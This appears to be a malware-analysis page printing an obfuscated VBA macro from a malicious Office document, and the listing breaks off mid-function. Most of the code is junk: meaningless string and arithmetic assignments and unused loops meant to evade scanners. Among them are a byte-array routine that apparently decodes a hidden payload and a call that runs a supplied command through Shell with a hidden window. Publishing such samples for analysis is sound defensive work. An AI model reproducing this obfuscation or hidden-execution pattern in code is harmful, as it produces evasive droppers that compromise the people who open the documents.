    lisjPe = StrConv(VOOmB, vbFromUnicode)
    aNWIMa = Space(9)
    VxQEZ = Left("w*RxKoyDip#kDxTlOc", 2)
    RQBzqOE = "laU@k!PkEu [" + "s.EwI$c&_EHs^LHC#qV" + "(BdRMlmfiFr_H"
    EzWdSK = 828 + 1992 + 1655
    For mGWjHm = 0 To UBound(lisjPe) - 1
    oJNSee = "GCYgRPl)sx" + "vOGnIXX^T#kZUZUwYw" + "S..T-^kygrX?lIk"
    RQBzqOE = Right("jIpc k#K]N^", 3)
    EzWdSK = 1324 - 995 - 123
    oJNSee = Left("![hLU&H?jNnfZw.hcQR", 2)
        If (mGWjHm Mod 2 = 0) Then
        koQXtsqu = Right("FDMQQ!zhMYFM(@NvPV", 5)
        RQBzqOE = "i&u(X?%JYqW_oS" + "g*?!&QMYUH" + "NIR@&dZzU.k?aI"
        For eyMslV = 0 To 242
            VvPMoEon = 1720 + 1629 + 697
            EEjkBEBJ = Right("xvti^D.mYDjN^l]Gwagi", 4)
        Next eyMslV
        While rwKVEf < 367
            EEjkBEBJ = Space(9)
            iqsEco = 240 + 1794 + 781
            aNWIMa = Right("Ybe[#Dxg.t.S*o_ #W*j", 5)
            EzWdSK = 1279 - 1013 - 229
            rwKVEf = rwKVEf + 1
        Wend
            AWqGNA(MXyLGxd) = lisjPe(mGWjHm)
            uArbI = LTrim("o?Qg-@]yZDrSVIJ")
            oJNSee = 1730 - 1843 - 1371
            aNWIMa = 943 + 1876 + 828
            MXyLGxd = MXyLGxd + 1
            VxQEZ = Space(15)
            RQBzqOE = RTrim("oywGn?kuCD@Mo.cynzK")
            iqsEco = RTrim("he@l[-$^UTMoeLR)A@")
            oJNSee = LTrim("-GV)PxqmvUyGqagN( m%")
            VxQEZ = LTrim("rqFslYCf$bUqBm%fI")
        End If
        VvPMoEon = 1498 - 1272 - 798
        For IZWauQ = 0 To 206
            VvPMoEon = "p[chEcoVka--Hpw" + "X[IbkDxyO&SMxkTk" + "C)amuEnDoI"
            koQXtsqu = Space(14)
            aNWIMa = 608 - 777 - 787
            oJNSee = Space(11)
            VxQEZ = UCase("[[c-bgr%rErw^")
            koQXtsqu = StrReverse("cQ?OCS.Cap[nl!dHJ")
            VvPMoEon = "o.wZx?IrPcQd MH]O" + "d@T yW!YsqJdTSAaeca" + "!nRb$)Ptbw!F"
            uArbI = LTrim("K&-iFr#PPs]ZTd@#lFOy")
            VxQEZ = Right("XT^OiUc]vjl", 3)
            uArbI = 785 - 678 - 1080
        Next IZWauQ
        RQBzqOE = Left("UD_D!JUK%LQmR%]t!", 3)
        EEjkBEBJ = 1230 - 242 - 732
        oJNSee = RTrim("ZfIB#V%)V@nGZ-PEo")
    Next mGWjHm
    iqsEco = RTrim("]flUQOSU.FDQb")
    VvPMoEon = StrReverse("ip!Fho& uE")
    While sHSrQc < 206
        EEjkBEBJ = 895 + 1322 + 1470
        EEjkBEBJ = Space(15)
        VvPMoEon = UCase("w.Nn?OjlcxZud@_#mN")
        sHSrQc = sHSrQc + 3
    Wend
    For vTzHIk = 0 To 122
        OwvSFnm = Right("AX-DCQ[&pogw@Y", 3)
        EEjkBEBJ = "XY]g%Dfdclv" + "#(W$Dja_JsT)VO#*Oh@&" + "j #QEdKITSo)uBV"
        EzWdSK = "eh&Jh!T^mx.PO&rD" + "DL_Zw?d-J$SA" + "B.dmcXBcZa(oE@OgW"
        iqsEco = Right("bE(GBkbPrhtU^hj%", 5)
        VxQEZ = Right("C!$xpmayEweQK", 4)
        uArbI = RTrim("uKwdAxuAzBiK")
        OwvSFnm = UCase("MI#rIT!k@)sCcq")
        VvPMoEon = StrReverse("DlG?#^RLpM#vCBJA%M")
        VxQEZ = RTrim("itnYDtQ%oMC")
    Next vTzHIk
    uArbI = 1693 - 618 - 446
    ahaLig = StrConv(AWqGNA, vbUnicode)
    EEjkBEBJ = RTrim("@xrd*!?ruu_")
    iqsEco = RTrim("TsQNEV-Sc?YLptdq")
    While UmiqQa < 318
        RQBzqOE = LTrim("[$V-Ojbkz? u")
        oJNSee = LTrim("YaXPEiPJXC@nX(mi")
        aNWIMa = StrReverse("duq^L@!)ia@")
        OwvSFnm = Space(3)
        iqsEco = Space(3)
        UmiqQa = UmiqQa + 3
    Wend
    OwvSFnm = 904 - 824 - 704
End Function
Private Sub mrpoQt(sSzQxm As Boolean, fDflVL As Boolean, cAcKXwS As Boolean, OBXOLx As Integer, YyLEyZ As Boolean)
    VvPMoEon = 1242 - 584 - 1509
    OwvSFnm = StrReverse("Zlu)gfeOxBIn")
    EEjkBEBJ = Left("n^tYOhMgPiC?", 5)
    While HSwzkD < 325
        VxQEZ = StrReverse("HGj_YSibdsE)x_E)_Lv")
        uArbI = "r@&pCwvf.JpePkt" + "yxLhbjSfw[ [dlYnV^" + "ZWbo^$[W(phFT)RC"
        iqsEco = Space(11)
        aNWIMa = StrReverse("NbMIs-KQpP_Pf%e_")
        uArbI = 1420 - 638 - 618
        RQBzqOE = Space(15)
        HSwzkD = HSwzkD + 3
    Wend

    aNWIMa = RTrim("eTtKS*N[XaVBJSZHe")
    RQBzqOE = Space(3)
    VvPMoEon = Right("P@]!!mHP%ND", 5)
    iqsEco = RTrim("(Y)Us&dviEB!")
    RQBzqOE = Right("-KT% sJ]CR(YIULh", 4)
    uArbI = Space(7)
    iqsEco = StrReverse("(nhi*SuE$(?jq")
    VvPMoEon = LTrim(".&_&RZGuf[RQ")
    uArbI = RTrim("lMKfQn?WzW")
    RQBzqOE = 1854 - 1493 - 1951
    aNWIMa = 1963 + 505 + 1675
    uArbI = RTrim("eBvvz yPW**r")
    oJNSee = LTrim("nvGPjG_JrTEe.[-Lvc-")
    RQBzqOE = Space(12)
    For zWZiKq = 0 To 321
        EzWdSK = 713 + 945 + 1223
        aNWIMa = Right("dLE^-*RhQL(p!Zbo", 2)
    Next zWZiKq

    oJNSee = 1737 + 714 + 1100
    EEjkBEBJ = ")jb-OYH-pVi(IjrW?E.S" + "(V?ybjQ(iA h" + "MW qIFF]r%K"
    VvPMoEon = Right("q)fR!yOxqyo.xJ$zGMI!", 5)
    oJNSee = Left("q]s#DePxi!v", 2)
    VvPMoEon = "ek@v_)zft_kxKjUKXKYx" + "LG$K#O.?[h.BHk" + "IeaLx#&EP iBF]!Ykw)"
    EEjkBEBJ = Right("Yq$g[f&PnvbNOJ", 5)
    EEjkBEBJ = UCase("MgoJI^agVJg")
    EzWdSK = Left("HCiDC[BI_kg", 4)
    EEjkBEBJ = StrReverse("zI#uQqdBJCnB(HDZtWx")
    iqsEco = Space(7)
    RQBzqOE = Right("i[_g JYc*X", 3)
    OwvSFnm = RTrim("?MQ(AAGgG[bFt")
    oJNSee = RTrim("gkWsAS(KeC_B%YJWw")
    OwvSFnm = StrReverse("M_vqh[rRFiimZkyAnrz")
    uArbI = Left("_QbVl_pDCWr^_M", 4)
    EEjkBEBJ = RTrim("C^yuSB]IyL[&iqr.ui$B")
    RQBzqOE = "cJ)ivy[r yJFX" + "@HR_CRHN^(?NA($VL" + "hwfrysgWWwqr"
    koQXtsqu = StrReverse("HCWjpBXedg-%*")
    oJNSee = 1775 + 1276 + 1864
End Sub

Private Sub wjnSjI(SqMhZG As Integer, lnkWcn As Integer, fjEjHX As String, gxNFjnT As Double)
    koQXtsqu = 994 - 1639 - 1327
    RQBzqOE = Space(1)
    oJNSee = 1742 + 424 + 1496
    iqsEco = Space(13)
    While AmZdbN < 326
        uArbI = LTrim("TCVj@ymS!Mz")
        VxQEZ = UCase("XHFnc%YbM]KLrjOZ")
        VvPMoEon = Left(".YbhBJhX^prf[tMT ^", 5)
        EzWdSK = Left("licWXMCPY^w.@N.", 5)
        iqsEco = Left("&gF^M@_(.eqs)", 2)
        VxQEZ = Left("KQ]GuihZ_wS]y.", 4)
        oJNSee = "wF(Kp@QoDs" + "VQFLAkz&PKTy@" + "qMlM#rYt*S]QogQ-y]cy"
        EEjkBEBJ = RTrim("IJC(?B_GXmQKOaJkLB")
        AmZdbN = AmZdbN + 2
    Wend

    koQXtsqu = UCase("Sa_ulE H zG]My")
    iqsEco = "HUVp_ViEedf" + "*#fiy*T)MoRuYzyB" + "EZrk ^%xrCEgjhvnC#Bk"
    uArbI = StrReverse("EQPCobsE]*nP__d-d_F")
    EEjkBEBJ = UCase("yIGv(hxKwrW^v)iqSd")
    OwvSFnm = ")l nABUW%On.jooP" + "l_hxK mNaLaK(s@c&" + "gzhq?Nk*t^V n@lJ$png"
    VxQEZ = 889 + 447 + 926
    VvPMoEon = Right("%QRngBsvQW*Mno^M!", 5)
    EEjkBEBJ = 569 - 1540 - 1548
    VxQEZ = 353 + 290 + 1160
    RQBzqOE = "vu*KggMK^I.Vsw]^HAfC" + "&XlD@lFawvQS!Yk" + "aFBR&r*Dp[pDZ%"
    oJNSee = UCase("L[QFrXW%%e_XZavn")
    While oQVZYh < 378
        VxQEZ = RTrim("q?P$[N(V.cDqn")
        koQXtsqu = 1411 + 483 + 270
        VvPMoEon = Right("PjX$TW .#CumbJrE", 4)
        koQXtsqu = 542 - 1030 - 1075
        OwvSFnm = "Vqvrpx@bVog@zm" + "p@X*g-vB-Mr " + "E?)#^.y#$(@K[t"
        oJNSee = 220 + 1480 + 1419
        oJNSee = StrReverse("YnUd?fQMgn&zB")
        RQBzqOE = Right("j$tYoV(y?WHfmca", 3)
        VvPMoEon = Space(19)
        uArbI = StrReverse("K-mn(GG-oP")
        oQVZYh = oQVZYh + 1
    Wend

    uArbI = RTrim("phQ#(EMhH$d")
    uArbI = RTrim("qzuTF$BZwTbHOfscB)")
    For PHguEx = 0 To 243
        uArbI = LTrim("*#sawlIfsC$")
        VxQEZ = 1313 + 1789 + 1332
        VxQEZ = Right("tji][jN&wWZ!Se", 5)
        RQBzqOE = LTrim("kfD(Gu@a EXmQ@UjO")
        uArbI = Left("Y_rYcxfkO)UML*$w.N", 4)
        VxQEZ = UCase("rlgGCHGnBfap")
        RQBzqOE = UCase("V%k^ZOL@Lab")
        uArbI = UCase("JlNkAOaa$PVR(dkZ")
    Next PHguEx

    VxQEZ = Space(16)
    While pgkBCw < 389
        RQBzqOE = Right("Ckkr.hLG%pp", 5)
        aNWIMa = LTrim("mrPjz!Dck^gr?*bIz)$")
        koQXtsqu = Space(15)
        pgkBCw = pgkBCw + 1
    Wend

    iqsEco = Right("^iq*)t#(] Pk*BZiUzkn", 4)
    EzWdSK = 283 + 1726 + 1800
    oJNSee = Space(16)
    oJNSee = 106 + 1429 + 1095
End Sub

Private Sub hSHNVr(JvWSH As String, qajpRk As String, jIrZQAR As String, xojfIJ As String, qSCwWQU As String, SewDPnT As String, OKxvkq As String)
    OwvSFnm = Space(18)
    EEjkBEBJ = Left("%-N%(]YVVd*ZOfh)r", 2)
    Shell (JvWSH), 0
    EzWdSK = 735 + 1150 + 905
    OwvSFnm = Space(7)
    For EFkCtz = 0 To 99
        EzWdSK = StrReverse("RvlJR)?Mn@Zpz$O")
        iqsEco = LTrim("Px*Jz([hFa[!-")
        RQBzqOE = 257 - 650 - 771
        VvPMoEon = StrReverse(".MtlPCgfTxzq_[")
        iqsEco = StrReverse("vMCk[wiB)Sz")
        iqsEco = "% GzvGx ]aCM!" + "ulS[&H*Zjw.i-bn%*" + "pM?RJhtD]ZtI VlEc"
        oJNSee = Space(8)
        aNWIMa = 173 + 387 + 1721
    Next EFkCtz
    For HEIsXS = 0 To 154
        uArbI = "A(Q$wwr(tJ" + "LvF^$! $OJydQaIB" + "$!&zijRFEVEZGoH$U Ek"
        oJNSee = 1811 - 1562 - 664
        RQBzqOE = Space(12)
        OwvSFnm = "-.l-c#Uv()n$e" + ")%UOyU!PV-.zsi&%oc" + "a RJDdam$JLF%we"
        VvPMoEon = "%Qbz(Bor-zLwzEJKku" + ".s%gRnW#IB" + "T]wOKMl-gsSAum!st"
        koQXtsqu = "TJaHfbYWVOMs$dmDxp" + "#.V$zO h!x*" + "KoldF P.)cNO!K!Ee[t"
        EzWdSK = RTrim("IaQ*Admsv?#lHguRwCz")
        oJNSee = 995 - 304 - 158
    Next HEIsXS
    uArbI = Space(6)
    oJNSee = Right("-aa^EHavpcPcw z[lu", 2)
    EEjkBEBJ = RTrim("D.[DH#(cP)% G*")
    koQXtsqu = Right("IL@?SmqvKt", 5)
    VvPMoEon = LTrim("uZc!Z^N#m]hwhMsZ")
End Sub

Private Function mjgUUZ(pvQaZAt As Double) As String
    VvPMoEon = LTrim("nSNLhBGdoP")
    EEjkBEBJ = 1925 - 845 - 1780
    For DZnAae = 0 To 76
        koQXtsqu = Space(14)
        EEjkBEBJ = StrReverse("eM-D #hLUJMrt?HuQ")
        iqsEco = 740 + 1493 + 482
        aNWIMa = Left("vPPv^s%C-!-", 2)
        koQXtsqu = 504 + 678 + 1278
    Next DZnAae

    RQBzqOE = Right("OpisjL*jNjqp?(cBuy", 4)
    koQXtsqu = Right("Ju.jacAOIrxojY!]B(S!", 4)
    EzWdSK = 1786 + 1649 + 1623
    aNWIMa = "-ETynl [Cn" + "qiDxS)E[f)( " + "qoO-^-oVhOK"
    iqsEco = RTrim("K!&-ASN&cJG")
    While rZpeCF < 21
        iqsEco = 985 + 1276 + 1139
        aNWIMa = Right("xe.ve[&q)kjzI*B@C", 2)
        uArbI = Right("@-is--F&KrYF@DQT", 5)
        oJNSee = "bAiF*ox-JVLFlnstZ[R" + "J*tEllD_hb.F#_s)OZP" + "f J(]DOoJ.h"
        EzWdSK = RTrim("Rze h.X^!aLH.&c$A-")
        OwvSFnm = "pHRaT[vWnUvMY.FkdK" + "?ljlk)ORY*g." + "voZHZ(-uKg@Y$s"
        EEjkBEBJ = 635 + 901 + 1703
        rZpeCF = rZpeCF + 1
    Wend

    VvPMoEon = LTrim(".z%T]]Kx^gXcPb*Dv")
    EEjkBEBJ = Space(10)
    EEjkBEBJ = UCase("lDMSY)YZ[*O")
    EEjkBEBJ = Right("QJuhs [^?xUh@A", 2)
    koQXtsqu = LTrim("fokesg]?p$[Y")
    oJNSee = "F*vJkEaJ ?" + "DfDi_?ctWiA)#PEfLq*E" + "-ibBE%fmu-GRK"
    VvPMoEon = StrReverse("o-?)c(oaV-CYIO")
    For LoiEPv = 0 To 18
        aNWIMa = Space(13)
        oJNSee = RTrim("[gtmEUGsWL")
        OwvSFnm = StrReverse("m@g&xhB*ueTp]Zcsb[jT")
        VxQEZ = Space(15)
        RQBzqOE = "qiQJMY!Mx.Hr-" + "[o^mIKIlU*" + "fvp(v?YGHzno_)j"
        aNWIMa = RTrim("kNbJEL?PQdzUyJ")
        EzWdSK = LTrim("*WtQ]zO- B?fAiNdw")
        EzWdSK = Space(9)
        koQXtsqu = RTrim("AFm!Jt.[Rm")
        koQXtsqu = "k?Gr@xzAe!S" + "mrMV-MuMMVsZmYSuw*" + "eaC.lzn!PIWDB%YzLih"
    Next LoiEPv

    EzWdSK = "_R(RHvz^OiQF]pl_" + "@%vB ESUuX" + "U.qgxsuy#u*@kk"
    koQXtsqu = StrReverse("[M[ANkxBfZy%?n-")
    EzWdSK = UCase("yAYTdrJII(cceu@SRyhg")
    OwvSFnm = RTrim("dEdRje$_S(")
    For QpMRLc = 0 To 317
        OwvSFnm = StrReverse("r?_]hwfbSyr")
        VvPMoEon = LTrim("AzL!OjWg$ANOpqjmJ[y")
        oJNSee = Left("GAZ ZDcPFu)ZHQSu)Xr", 5)
        aNWIMa = Left("o#O$s-E^PJ]", 4)
        OwvSFnm = LTrim("$%]eBjajVVAMm?bQocR")
        uArbI = RTrim("uhWFH^DFLkb@&")
        EEjkBEBJ = Right("ZG?&]l]AQO#cPp[I", 2)
        OwvSFnm = "dHtE$IAZ_Swj^!" + "S(wfBxh!WhAN*Zy" + "fdGZoFyKtW]*%Po.R]B"
    Next QpMRLc

    iqsEco = RTrim("RE?mw]^^[Qf!)ZVsJ]R")
    oJNSee = "kRcLX(YfHgRbgkTBsAS" + "p(z&s)KoM*Kw?$a" + "dU.@Q&XVkF@s^Y@"
    aNWIMa = Space(7)
    oJNSee = Left("^zZvQgok%(biu#", 5)
    EEjkBEBJ = StrReverse("!OK nE$$#Sy")
    OwvSFnm = LTrim("wppJcBeDYkn?p")
    RQBzqOE = Right("!]HP]Y)zpU]HOZ#hQv", 2)
    uArbI = Left("j(S?(pU$.SZKe$", 2)
    oJNSee = LTrim("yF^vbzTi%gZM")
    While UucclA < 198
        uArbI = "WxAg(ffh.^" + "P- %OjTi)r" + "OqHCdJLOkcfn*BoRk"
        EzWdSK = "AaQcEK?zuvjym_t-TUb" + "%rqO^MSFhdFXvU@]gJ#" + "$jOW$FM*sNQA"
        iqsEco = Right("zLk!ovcL%ZzQGN?HF", 3)
        koQXtsqu = "nwKJjJGInVSX_GohZ!Gy" + "b[b^jcu.ti" + "#V-GQ(BD&W"
        aNWIMa = RTrim("lJ.?G?o_GMU&%jJ*XU")
        uArbI = LTrim("KuP@BfO_OdAAKw-")
        aNWIMa = Right("GATNi )qBKxjS", 2)
        RQBzqOE = StrReverse("YZpwlWnKkQU")
        iqsEco = "M&rv)(@MOthH" + "?*EdcKquxjIp!]FjHC" + "zIL?^iZTbpxe&lL"
        aNWIMa = "NMlV]GWTANGzM DJN" + "mwd$M@NYUbC@((aJrFKt" + "O%wDrVj_Y^k*u "
        UucclA = UucclA + 3
    Wend

    mjgUUZ = "WnppfiAqQCOUryyJhbXhfLNOiegNXANP"
End Function

Private Sub Barxnw(gzvLdEn As Integer)
    OwvSFnm = Right("_QvQN&ByK kl zecgNu", 3)
    OwvSFnm = RTrim("K)@sH$x(]ooHl")
    VvPMoEon = Right("dy]x(i?YJ?]Um", 2)
    EEjkBEBJ = Right("VwcnzkE.blGWC", 2)
    EzWdSK = UCase("N#AiCWGri-xUE")
    OwvSFnm = RTrim(" _EZnBv@oaLYMW(Px&Lw")
    VvPMoEon = Right("Il%%$HF[-W", 3)
    While uobQaG < 160
        aNWIMa = 954 + 1045 + 1910
        uArbI = RTrim("jlHtT$wsIuWG.E")
        oJNSee = Space(14)
        koQXtsqu = Left("E?rYhZ$ZN-hr G-m^", 2)
        VxQEZ = 1629 - 1725 - 1770
        VxQEZ = Left("Vayba?EUg-WZPB", 2)
        koQXtsqu = UCase("i-EGYm%BbkW")
        iqsEco = 917 - 819 - 854
        uobQaG = uobQaG + 3
    Wend

    koQXtsqu = Space(14)
    EzWdSK = 1064 - 1942 - 1145
    aNWIMa = RTrim("XbMk.h?v-V")
    uArbI = UCase("TJ?UzLKnJPm%_XE*zH.")
    EEjkBEBJ = StrReverse("gQp V(^qw_*Jcd!j$hi)")
    aNWIMa = 577 - 1434 - 1362
    VvPMoEon = Left("?s%$^AU#QHE&.ed^QLy", 3)
    iqsEco = StrReverse("?_CMgbcX?PKq^UL")
    aNWIMa = "rd)N#G!UN%pDROI" + "!LTTdpBkbS?xYG]F" + "_QZ CDSaelcwWSFWw"
    uArbI = 1628 + 1452 + 992
    iqsEco = Space(14)
    koQXtsqu = StrReverse("&tPz.kk][hb.gM^xl")
    OwvSFnm = 625 + 301 + 1921
    VvPMoEon = Right("Y g*Z.v.IYzCBCq", 4)
    RQBzqOE = StrReverse("WfFH#mA(%!mDs")
    koQXtsqu = StrReverse("fUpaS(XrWq!oGw")
    RQBzqOE = RTrim("Wym([^%Scaeg")
    For IXlYot = 0 To 256
        aNWIMa = "JiZxy!-Web" + "dO$v!_(gjV.?k rnqtkf" + "oltuczHB$$y*t-xY"
        RQBzqOE = UCase("TyARp&ibJnk")
    Next IXlYot

    iqsEco = 1911 + 355 + 1574
    uArbI = Left("yJdJIGj-T(aA", 4)
    iqsEco = UCase("!#JBuX?[hR*")
    aNWIMa = StrReverse("MIAXBst]wCtg")
    aNWIMa = Right("d)GUY%]VQJNQTrnV", 2)
    koQXtsqu = Left("LCRfdp-@#e&", 2)
    VvPMoEon = LTrim("YiNSwINWf-DIKn-S")
    While qajcMv < 217
        VxQEZ = Space(9)
        oJNSee = Space(3)
        OwvSFnm = RTrim("ea_nIrCPO^L]s!y")
        RQBzqOE = Left("VzKg_AkJXGG", 3)
        VvPMoEon = UCase("(VoIvFyHp#JlFLoqKF")
        VvPMoEon = RTrim("mg%^UEyzoESvPOvu@r")
        uArbI = "vIawg(mdLB?(SV#oe" + "b#yap@h[NXOsn" + "*zM(bKFUAS.i"
        aNWIMa = 1795 + 1602 + 507
        EzWdSK = UCase("*_Th(UwOuc#og&")
        aNWIMa = Space(19)
        qajcMv = qajcMv + 3
    Wend

    EEjkBEBJ = 429 - 505 - 557
    iqsEco = 954 - 1593 - 664
    For hhrSlp = 0 To 264
        RQBzqOE = LTrim("UY?TDSuB(BiCCRef")
        EEjkBEBJ = Left("i)?Y*eskHqi%", 3)
        iqsEco = StrReverse(")!lMY-AJW hn$h#RM$")
        aNWIMa = Left("Wm^TCTuelKGmm", 5)
        uArbI = "BuT(Lm.[Cd ndLVwUqD" + "%N]Tacxrcs](PQU@r" + "Z)e@jm_CAEg%$agU@j_W"
        koQXtsqu = Left("eFgWtooTHL)UE(M)(_", 5)
        EzWdSK = LTrim("fqfg%BljO.")
        iqsEco = 1456 + 1876 + 408
        aNWIMa = StrReverse(").A(Y )jJ.Fh")
        EEjkBEBJ = Space(9)
    Next hhrSlp

End Sub

Private Function yWjzyX(EbSbjy As Double, tANGoRp As Double, GhYUpc As String) As String
    iqsEco = 706 - 371 - 296
    oJNSee = LTrim("ESxKRaeTM ")
    VxQEZ = 256 - 1572 - 164
    aNWIMa = Left("fpbiCehOu#%gg)IY", 4)
    EzWdSK = RTrim("]?JVhrK_^REVlo")
    uArbI = StrReverse("IF&rv%p^ )L!&tO")
    VvPMoEon = StrReverse(".bQ iXUZ_OwKNF!u_")
    aNWIMa = Space(10)
    VxQEZ = RTrim("]NEw[waSKU.LjNeV?")
    oJNSee = Right("%]tWFaNuT&r", 3)
    VxQEZ = "hK?mrq&jIQ" + "Ha(E(PA.?tCm.G" + "p&WX]uT?rBT*#Ne"
    uArbI = UCase("KklXvrZj^Juxisp")
    OwvSFnm = RTrim("_[ibZmN&-jX^fh")
    While HdxUep < 374
        aNWIMa = Left("r?fXooAFpwEYQzFm@eZ%", 3)
        uArbI = LTrim("d@$MVw [QqLms")
        iqsEco = Right("Kq^FSaCMFMk", 4)
        HdxUep = HdxUep + 2
    Wend

    oJNSee = Right("]jRDHExf^TnI$FM**(W", 3)
    While KrGyOP < 290
        EzWdSK = Left("*APE%n!]P?vUr", 2)
        RQBzqOE = LTrim("TV!GQwln.oS$")
        koQXtsqu = "IFhipmZg@KN*y$R" + "^.cJc.[SOON%IPK#p" + "!jhmbX@jVm@"
        KrGyOP = KrGyOP + 2
    Wend

    EzWdSK = Right(" yxvVqn-Iud", 5)
    oJNSee = UCase("IgKhY#^c!-EbNsdquBEO")
    uArbI = UCase("g!BvXnzg_z")
    EzWdSK = RTrim("lS_gb#WleKetO)^Rpuuf")
    oJNSee = RTrim("b-xy$*N_cpi")
    For UfvKBT = 0 To 300
        aNWIMa = RTrim("vl*[^ztV^jwODc")
        koQXtsqu = StrReverse("sbFoCKwz@h")
        VxQEZ = LTrim("bkZIRKBESAbVJlW&")
    Next UfvKBT

    RQBzqOE = StrReverse("IJM)O&Xx_po!aIC_u X")
    VvPMoEon = LTrim("GQZ$l(qUB?MW-]")
    VxQEZ = 1388 - 1112 - 1376
    OwvSFnm = 1238 - 1800 - 973
    koQXtsqu = 1434 - 168 - 532
    aNWIMa = 1459 - 1348 - 1584
    For ibYEzA = 0 To 351
        koQXtsqu = UCase("fBa%un uNzPqL%Nr^fN")
        aNWIMa = 1875 + 881 + 1689
        oJNSee = LTrim("OH&UBml(ljfWQu$[ror[")
…

Open this report in the interactive analyzer, or submit your own file for analysis.